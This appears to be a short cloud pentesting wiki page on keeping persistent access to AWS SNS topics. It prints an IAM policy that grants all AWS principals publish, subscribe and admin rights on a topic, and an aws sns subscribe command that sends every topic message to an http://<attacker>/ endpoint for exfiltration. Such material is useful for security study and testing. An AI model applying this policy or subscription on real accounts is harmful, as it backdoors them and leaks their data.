AWS - SNS Persistence

Reading time: 2 minutes

SNS

For more information check:

AWS - SNS Enum

Persistence

When creating a SNS topic you need to indicate with an IAM policy who has access to read and write. It's possible to indicate external accounts, ARN of roles, or even "*".
The following policy gives everyone in AWS access to read and write in the SNS topic called MySNS.fifo:

{
  "Version": "2008-10-17",
  "Id": "__default_policy_ID",
  "Statement": [
    {
      "Sid": "__default_statement_ID",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": [
        "SNS:Publish",
        "SNS:RemovePermission",
        "SNS:SetTopicAttributes",
        "SNS:DeleteTopic",
        "SNS:ListSubscriptionsByTopic",
        "SNS:GetTopicAttributes",
        "SNS:AddPermission",
        "SNS:Subscribe"
      ],
      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
      "Condition": {
        "StringEquals": {
          "AWS:SourceOwner": "318142138553"
        }
      }
    },
    {
      "Sid": "__console_pub_0",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "SNS:Publish",
      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
    },
    {
      "Sid": "__console_sub_0",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "SNS:Subscribe",
      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
    }
  ]
}

Create Subscribers

To continue exfiltrating all the messages from all the topics and attacker could create subscribers for all the topics.

Note that if the topic is of type FIFO, only subscribers using the protocol SQS can be used.

aws sns subscribe --region <region> \
    --protocol http \
    --notification-endpoint http://<attacker>/ \
    --topic-arn <arn>